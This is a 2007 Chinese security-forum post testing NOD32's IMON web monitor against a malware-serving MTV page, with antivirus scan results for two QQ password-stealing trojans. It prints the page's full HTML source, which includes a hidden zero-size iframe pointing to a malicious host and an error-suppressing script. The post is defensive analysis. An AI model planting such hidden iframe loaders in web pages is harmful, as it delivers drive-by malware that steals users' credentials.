|
IMON测试之三：天下无毒之监控之谜
今天在〔卡饭〕样本区有一会员170912556朋友提供了一个比较符合我做这个测试的网址，于是我就顺便把IMON的测试再进一步完善一下。
毒网地址：hxxp://mtv.uying.com/html/20051117/23113525906.stm，当时我直接就用NOD 32进了，提示如下：
之后，NOD 32没有任何提示（高效能模式），后来经过另外一会员dikex朋友的提取，发现还有木马（咖啡报的是QQ PSW），样本如下，因为时间关系，我用多引擎扫描了一下，除了这个ANI病毒，NOD 32其它的文件全都不报，我用多引擎扫描了其中的两个exe文件，大部分杀软把这两个都被确认为木马：
第一个123a.exe
AhnLab-V3 2007.4.12.0 04.13.2007 no virus found
AntiVir 7.3.1.50 04.13.2007 TR/PSW.Steal.27488
Authentium 4.93.8 04.13.2007 no virus found
Avast 4.7.936.0 04.11.2007 Win32:Delf-ECL
AVG 7.5.0.447 04.12.2007 no virus found
BitDefender 7.2 04.13.2007 Generic.PWStealer.A0B13EC8
CAT-QuickHeal 9.00 04.12.2007 no virus found
ClamAV devel-20070312 04.13.2007 Trojan.Spy-3757
DrWeb 4.33 04.13.2007 no virus found
eSafe 7.0.15.0 04.12.2007 suspicious Trojan/Worm
eTrust-Vet 30.7.3565 04.13.2007 Win32/Dowque!generic
Ewido 4.0 04.12.2007 Trojan.Delf.qc
FileAdvisor 1 04.13.2007 no virus found
Fortinet 2.85.0.0 04.13.2007 no virus found
F-Prot 4.3.2.48 04.12.2007 no virus found
F-Secure 6.70.13030.0 04.13.2007 no virus found
Ikarus T3.1.1.5 04.13.2007 Trojan-Spy.Win32.Delf.PG
Kaspersky 4.0.2.24 04.13.2007 no virus found
McAfee 5008 04.13.2007 PWS-QQPass
Microsoft 1.2405 04.13.2007 Trojan:Win32/Dowque.A
NOD32v2 2185 04.13.2007 no virus found
Norman 5.80.02 04.12.2007 no virus found
Panda 9.0.0.4 04.13.2007 Suspicious file
Prevx1 V2 04.13.2007 no virus found
Sophos 4.16.0 04.12.2007 Mal/QQPass-B
Sunbelt 2.2.907.0 04.07.2007 no virus found
Symantec 10 04.13.2007 Infostealer
TheHacker 6.1.6.088 04.09.2007 no virus found
VBA32 3.11.3 04.12.2007 suspected of Trojan-Spy.Delf.13
VirusBuster 4.3.7:9 04.12.2007 Trojan.PWS.Delf.Gen.2
Webwasher-Gateway 6.0.1 04.13.2007 Trojan.Delphi.Gen
第二个：cha.exe：
AhnLab-V3 2007.4.12.0 04.13.2007 no virus found
AntiVir 7.3.1.50 04.13.2007 TR/PSW.Steal.27488
Authentium 4.93.8 04.13.2007 no virus found
Avast 4.7.936.0 04.11.2007 Win32:Delf-ECL
AVG 7.5.0.447 04.12.2007 no virus found
BitDefender 7.2 04.13.2007 Generic.PWStealer.A0B13EC8
CAT-QuickHeal 9.00 04.13.2007 no virus found
ClamAV devel-20070312 04.13.2007 Trojan.Spy-3757
DrWeb 4.33 04.13.2007 no virus found
eSafe 7.0.15.0 04.12.2007 suspicious Trojan/Worm
eTrust-Vet 30.7.3565 04.13.2007 Win32/Dowque!generic
Ewido 4.0 04.12.2007 Trojan.Delf.qc
FileAdvisor 1 04.13.2007 no virus found
Fortinet 2.85.0.0 04.13.2007 no virus found
F-Prot 4.3.2.48 04.12.2007 no virus found
F-Secure 6.70.13030.0 04.13.2007 no virus found
Ikarus T3.1.1.5 04.13.2007 Trojan-Spy.Win32.Delf.PG
Kaspersky 4.0.2.24 04.13.2007 no virus found
McAfee 5008 04.13.2007 PWS-QQPass
Microsoft 1.2405 04.13.2007 Trojan:Win32/Dowque.A
NOD32v2 2185 04.13.2007 no virus found
Norman 5.80.02 04.12.2007 no virus found
Panda 9.0.0.4 04.13.2007 Suspicious file
Prevx1 V2 04.13.2007 no virus found
Sophos 4.16.0 04.12.2007 Mal/QQPass-B
Sunbelt 2.2.907.0 04.07.2007 no virus found
Symantec 10 04.13.2007 Infostealer
TheHacker 6.1.6.088 04.09.2007 no virus found
VBA32 3.11.3 04.12.2007 suspected of Trojan-Spy.Delf.13
VirusBuster 4.3.7:9 04.12.2007 Trojan.PWS.Delf.Gen.2
Webwasher-Gateway 6.0.1 04.13.2007 Trojan.PSW.Steal.27488
那么，我是不是中马了？请大家接下来再继续看，从扫描中我们知道，AVG的反间谍（ewido）是对这两个木马都报的，那么，看中我的系统里有没有中马用AVG扫下就明白了，下面是我的检测结果：
那么，到这里，问题就出来了，明明这个网站上有NOD 32扫不出来的木马，为什么系统会没事？
我们用web源码查看器来分析一下，其源码如下：
<HTML>
<HEAD>
<title>123木头人 MTV/MV|U影MTV站 看我想看的</title>
<link href="/css/style.css" rel="stylesheet" type="text/css">
<meta http-equiv="Content-Type" c>
<meta name="keywords" c>
<meta name="description" c>
<link href="/css/mtv.css" rel="stylesheet" type="text/css">
<script language="javascript">
function doCopy(){
var urlObj = document.getElementById("URL");
urlObj.select();
window.clipboardData.setData('text',urlObj.value);
}
</script>
</HEAD>
<body>
<script language="javascript" src="http://tmp.uying.com/mpin"></script>
<script language="Javascript">window.onerror = function(){return true;};</script>
<script language="javascript" src="/js/index.js"></script>
<script language="JavaScript">
var msg = "欢迎访问，请将喜欢的MTV推荐给您QQ好友啊！！！ " ;
var interval = 120
var spacelen = 120;
var space10=" ";
var seq=0;
function Scroll() {
len = msg.length;
window.status = msg.substring(0, seq+1);
seq++;
if ( seq >= len ) {
seq = 0;
window.status = "";
window.setTimeout("Scroll();", interval );
}
else
window.setTimeout("Scroll();", interval );
}
Scroll();
</script>
<table width="793" border="0" align="center" cellpadding="0" cellspacing="0" ID="Table1">
<tr>
<td scope="col"><table width="100%" border="0" cellspacing="0" cellpadding="0" ID="Table2">
<tr>
<td width="38%" height="25" class="dot style1" scope="col">
WWW.UYING.COM</td>
<td width="62%" height="25" bgcolor="#f5f5f5" scope="col">
<span class="dot">·</span>
<a href="http://www.uying.com">首页 </a>
<span class="dot">·</span>
<a href="http://news.uying.com">社会 </a>
<span class="dot">·</span>
<a href="http://ent.uying.com">娱乐 </a>
<span class="dot">·</span>
<a href="http://movie.uying.com">电影 </a>
<span class="dot">·</span>
<a href="http://pic.uying.com">图片站 </a>
<span class="dot">·</span>
<a href="http://drama.uying.com">电视 </a>
<span class="dot">·</span>
<a href="http://tvb.uying.com">TVB </a>
<span class="dot">·</span>
<a href="http://mtv.uying.com">MTV </a>
<span class="dot">·</span>
<a href="http://mobile.uying.com">手机 </a>
<span class="dot">·</span>
<a href="http://game.uying.com">游戏 </a>
<span class="dot">·</span>
<a href="http://bbs.uying.com">论坛 </a>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td><div align="center"><a href="http://wx.uying.com/"><img src="http://www.uying.com/banner/U影文学.gif" width="775" height="100" border="0" vspace="4"></a></div>
</td>
</tr>
<tr>
<td height="20" bgcolor="#56BCFA" style="border-bottom:solid 1px #000000;"><div align="right">
<table border="0" cellspacing="0" cellpadding="2" ID="Table3">
<tr>
<td width="70" class="td_right_dashed_border" scope="col"><div align="center"><a href="#" class="header_menu">大陆男歌手</a></div></td>
<td width="70" class="td_right_dashed_border" scope="col"><div align="center"><a href="#" class="header_menu">大陆女歌手</a></div></td>
<td width="70" class="td_right_dashed_border" scope="col"><div align="center"><a href="#" class="header_menu">港台男歌手</a></div></td>
<td width="70" class="td_right_dashed_border" scope="col"><div align="center"><a href="#" class="header_menu">港台女歌手</a></div></td>
<td width="70" class="td_right_dashed_border" scope="col"><div align="center"><a href="#" class="header_menu">欧美男歌手</a></div></td>
<td width="70" class="td_right_dashed_border" scope="col"><div align="center"><a href="#" class="header_menu">欧美女歌手</a></div></td>
<td width="70" class="td_right_dashed_border" scope="col"><div align="center"><a href="#" class="header_menu">乐队组合</a></div></td>
<td width="70" class="td_right_dashed_border" scope="col"><div align="center"><a href="#" class="header_menu">翻唱改编</a></div></td>
<td width="70" height="20" class="td_right_dashed_border" scope="col"><div align="center"><a href="#" class="header_menu">搞笑视频 </a></div>
</td>
<td width="70" height="20" class="td_right_dashed_border" scope="col"><div align="center"><a href="#" class="header_menu">游戏视频</a></div>
</td>
<td width="70" height="20" class="td_right_dashed_border" scope="col"><div align="center"><a href="#" class="header_menu">其他视频</a></div>
</td>
</tr>
</table>
</div>
</td>
</tr>
</table>
<table width="775" border="0" align="center" cellpadding="2" cellspacing="1" id="Table2">
<tr>
<td width="571" height="30" bgcolor="#02A1FC" scope="col"> <span class="MenuFont">您现在的位置:<a href="/Index.asp" target="_blank" class="two">MTV站首页</a> - <a href="/List.asp?id=4" target="_blank" title="查看港台女歌手列表" class="two">港台女歌手</a> - <a href="/List.asp?id=190" target="_blank" title="查看梅艳芳列表" class="two">梅艳芳</a></span></td>
<td width="193" rowspan="2" valign="top" bgcolor="#f0f0f0" scope="col"><table width="250" border="0" align="center" cellpadding="0" cellspacing="0" ID="Table1">
<tr>
<td height="30" align="center" valign="middle" bgcolor="#0099FF" scope="col"><span style="font-size:14px;color:#ffffff;font-weight:bold;">热门推荐</span></td>
</tr>
<tr>
<td scope="col"><table width="100%" border="0" cellspacing="0" cellpadding="4" style="border-bottom:dashed 1px #e1e1e1;">
<tr><td width="50%" scope="col" valign="top"><div align="center"><img src="/html/20051215/20051215Ep_4_S_9OnHIMep_MOOdzjAPjMtS2J.jpg" width="100" height="66"
class="photo_icon"><br>
<span>
<a href="/html/20051215/15125381621.stm" target="_blank" style="color:#000000">REIRAstat..</a>
</span>
</div>
</td>
<td width="50%" scope="col" valign="top"><div align="center"><img src="/html/20051215/20051215uAYbmRCJnz4TJgI9NdJhAIXSvtKi_h.jpg" width="100" height="66"
class="photo_icon"><br>
<span>
<a href="/html/20051215/15092341869.stm" target="_blank" style="color:#000000">LISA_IRhy..</a>
</span>
</div>
</td>
</tr><tr><td width="50%" scope="col" valign="top"><div align="center"><img src="/html/20051215/20051215RrKOd1_LkzVttcgXkxG8AQsOA695zG.jpg" width="100" height="66"
class="photo_icon"><br>
<span>
<a href="/html/20051215/15084697006.stm" target="_blank" style="color:#000000">KOTOKO_42..</a>
</span>
</div>
</td>
<td width="50%" scope="col" valign="top"><div align="center"><img src="/html/20051215/20051215CYXAV27cq8qfDoXUEN_eiQqYbCab4B.jpg" width="100" height="66"
class="photo_icon"><br>
<span>
<a href="/html/20051215/15002171633.stm" target="_blank" style="color:#000000">Direngrey..</a>
</span>
</div>
</td>
</tr></table>
<table width="100%" border="0" cellspacing="0" cellpadding="4" style="margin-top:5px;"
ID="Table3">
<tr>
<td height="24" background="/images/bg4.gif" scope="col" style="border:solid 1px #e1e1e1;padding-left:15px;"><strong>MTV热门TOP10爬行榜</strong></td>
</tr>
<tr>
<td height="100" valign="top" style="border-style:solid;border-color:#e1e1e1;border-width:0 1 1 1;">
<table width="100%" border="0" cellspacing="0" cellpadding="2" ID="Table4">
<tr>
<td height="20" scope="col"><span><img src="/images/dot_blue.JPG" width="11" height="11" align="absmiddle" style="margin-left:5px;margin-right:10px;"><a href="/html/20051103/21473286766.stm" target="_blank" style="color:#000000">星际十大经典</a></span></td>
</tr>
<tr>
<td height="20" scope="col"><span><img src="/images/dot_blue.JPG" width="11" height="11" align="absmiddle" style="margin-left:5px;margin-right:10px;"><a href="/html/20051119/19210231519.stm" target="_blank" style="color:#000000">周杰伦《珊瑚海》</a></span></td>
</tr>
<tr>
<td height="20" scope="col"><span><img src="/images/dot_blue.JPG" width="11" height="11" align="absmiddle" style="margin-left:5px;margin-right:10px;"><a href="/html/20051102/23071660053.stm" target="_blank" style="color:#000000">感人MV</a></span></td>
</tr>
<tr>
<td height="20" scope="col"><span><img src="/images/dot_blue.JPG" width="11" height="11" align="absmiddle" style="margin-left:5px;margin-right:10px;"><a href="/html/20051103/21584692557.stm" target="_blank" style="color:#000000">足球杂耍技术之Jenas_太厉害了</a></span></td>
</tr>
<tr>
<td height="20" scope="col"><span><img src="/images/dot_blue.JPG" width="11" height="11" align="absmiddle" style="margin-left:5px;margin-right:10px;"><a href="/html/20051115/20342542927.stm" target="_blank" style="color:#000000">李贞贤_演唱会现场1</a></span></td>
</tr>
<tr>
<td height="20" scope="col"><span><img src="/images/dot_blue.JPG" width="11" height="11" align="absmiddle" style="margin-left:5px;margin-right:10px;"><a href="/html/20051117/16310173484.stm" target="_blank" style="color:#000000">5大经典街球</a></span></td>
</tr>
<tr>
<td height="20" scope="col"><span><img src="/images/dot_blue.JPG" width="11" height="11" align="absmiddle" style="margin-left:5px;margin-right:10px;"><a href="/html/20051103/2143248665.stm" target="_blank" style="color:#000000">蝶恋(仙剑)</a></span></td>
</tr>
<tr>
<td height="20" scope="col"><span><img src="/images/dot_blue.JPG" width="11" height="11" align="absmiddle" style="margin-left:5px;margin-right:10px;"><a href="/html/20051115/19530270907.stm" target="_blank" style="color:#000000">RAIN_握手</a></span></td>
</tr>
<tr>
<td height="20" scope="col"><span><img src="/images/dot_blue.JPG" width="11" height="11" align="absmiddle" style="margin-left:5px;margin-right:10px;"><a href="/html/20051102/21231333680.stm" target="_blank" style="color:#000000">张娜拉_风儿，请你停下来</a></span></td>
</tr>
<tr>
<td height="20" scope="col"><span><img src="/images/dot_blue.JPG" width="11" height="11" align="absmiddle" style="margin-left:5px;margin-right:10px;"><a href="/html/20051103/21070877579.stm" target="_blank" style="color:#000000">who is it</a></span></td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table></td>
</tr>
<tr>
<td valign="top" bgcolor="#e8f8ff" scope="col"><table width="100%" border="0" cellspacing="0" cellpadding="4">
<tr>
<td height="30" align="center" scope="col"><br>
<span class="14px">123木头人</span><br>
<hr size="1">
<span class="MTVPublisher">发布会员：<a href=http://bbs.uying.com/UserInfo.asp?id=69 target=_blank><span class=MTVPublisher>極炫狼</span></a></span> <span class="MTVTime">发布时间：2005-10-30 14:14:31</span> <span class="MTVHits"><script language="javascript" src="/inc/GetHits.asp?id=2602"></script></span></td>
</tr>
<tr>
<td height="20" align="center" scope="col"><object align=middle classid=CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6 class=OBJECT id=MediaPlayer width=400 height=300><param name=autoStart value=true><param name=ShowStatusBar value=true><param name=url value="http://fmtv.uying.com/港台歌手/梅艳芳_123木头人.wmv"><PARAM name=uiMode value=full><PARAM name=stretchToFit value=true><embed type=application/x-oleobject codebase=http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701 flename=mp src="http://fmtv.uying.com/港台歌手/梅艳芳_123木头人.wmv" width=400 height=300></embed></object><BR>
<hr size="1"><a href="http://bbs.uying.com/99/472/Index.asp" target="_blank" title="论坛版主招聘"><img src="http://bbs.uying.com/AD/bannerzhaopin.gif" border="0" alt="论坛版主招聘"></td>
</tr>
<tr>
<td height="20" align="center" scope="col">
<img src="/images/MV_rec.jpg" width="74" height="17" align="absmiddle">
<input name="URL" type="text" id="URL" value="http://mtv.uying.com/html/20051117/23113525906.stm" size="40" maxlength="100">
<input type="button" name="Submit" value="点播此MV发送给你的好友" ></td>
</tr>
<tr>
<td height="20" align="center" scope="col">【<a href="http://bbs.uying.com/40/6262/Index.asp" target="_blank">发表评论</a>】【<a href="javascript:window.close();">关闭窗口</a>】</td>
</tr>
</table>
<br>
</td>
</tr>
</table>
<table width="775" border="0" align="center" cellpadding="0" cellspacing="0" ID="Table1">
<tr>
<td height="80"><div align="center">
<a href="#">关于我们 </a>| <a href="#">联系方式 </a>| <a href="#">留言建议 </a>| <a href="#">频道合作
</a>| <a href="#">数据库合作 </a>| <a href="#">免费代码 </a>| <a href="#">网站地图 </a>| <a href="#">
广告服务 </a>
<br>
<br>
Copyright @ 2005 MTV.UYing.com All rights reserved
<iframe src="http://ceoww.com/in.htm?1888" width="0" height="0" frameborder="0"></iframe><script language="JavaScript" type="text/javascript" src="http://ww.50bang.com/click.js?user_id=211462">
</script><script language="javascript" type="text/javascript" src="http://js.users.51.la/569117.js"></script>
<noscript><a href="http://www.51.la/?569117" target="_blank"><img alt="我要啦免费统计" src="http://img.users.51.la/569117.asp" style="border:none" /></a></noscript>
</script><script language="JavaScript" type="text/javascript" src="http://www3.itsun.com/counter.php?uuid=1556125&style=icon"></script>
</div>
</td>
</tr>
</table>
<script language="javascript" src="/js/MTVAd.js"></script>
</body>
</HTML>
很显然，如NOD 32提示所示，找到其关键所在：hxxp://ceoww.com/in.htm?1888
我们都知道NOD 32 IMON开高效能时有一种情况，如果发现问题，阻止以后会屏蔽其网页，如图：
其实这种情况是当前网址时才会出现这个界面（开高效能，高兼容度不会出现），如果是前面提供的测试网址，因为当前网址有恶意链接（非当前地址），所以即使开着高效能，也不会出现这个提示。
相同的是：不论是当前网址还是隐藏的恶意链接有问题，都会自动屏蔽。
不同的是：当前网址如果有问题，NOD 32的IMON会出现屏蔽界面，而非当前网址下，NOD 32不会出现屏蔽界面，因为不是屏蔽当前网址，但实际上已经对其它的同一链接下的所有恶意程序都进行了屏蔽。
结论 通过测试一我们都知道，NOD 32 IMON如果启用高效能，在浏览网页时会主动对整个进行提前扫描，这也就解释了，为什么刚才这个测试网址，有一个NOD 32可以识别，其它的两木马即使NOD 32无法识别的情况下也无法进入系统，因为NOD 32对其整个链接进行了屏蔽。同时也解释通了，官方的那篇文章，用高效能能加强对木马的防御能力。从这个角度来说，NOD 32的网络监控的确大大加强了防御能力，从中我们也可以看出网络监控模块对于监控的重要性，这样也不一定非要一个一个识别，而只要能识别相同链接中的其中一个，其它的都没戏。如果启用的默认的高兼容度，那么，漏马机率就必然会增加，所以如果大家在开启高效能时能正常上网，我还是建议大家开启高效能，至少说影响网速，我反正没有感觉，我的是ADSL 1M，只是在打开图片或者是网上视频时会缓冲一下下，其它的没有什么影响。
最后，为NOD 32新用户再补上一张设置图，因为我浏览器是用GB，红色的是GB的设置，底下蓝色的线上是IE的设置：
P.s我把测试的毒网的MTV看完了，呵呵，感觉有些意思，《123木头人》，刘德华，陈奕迅，陈小春好多人都在里面，感觉这歌没有很单调，也没有什么涵义，不太懂现在的流行音乐了，HOHO～～～！
[ 本帖最后由 曲中求 于 2007-4-13 19:17 编辑 ] | 
发表于 2007-4-13 17:46:29
发表于 2007-4-13 18:11:05
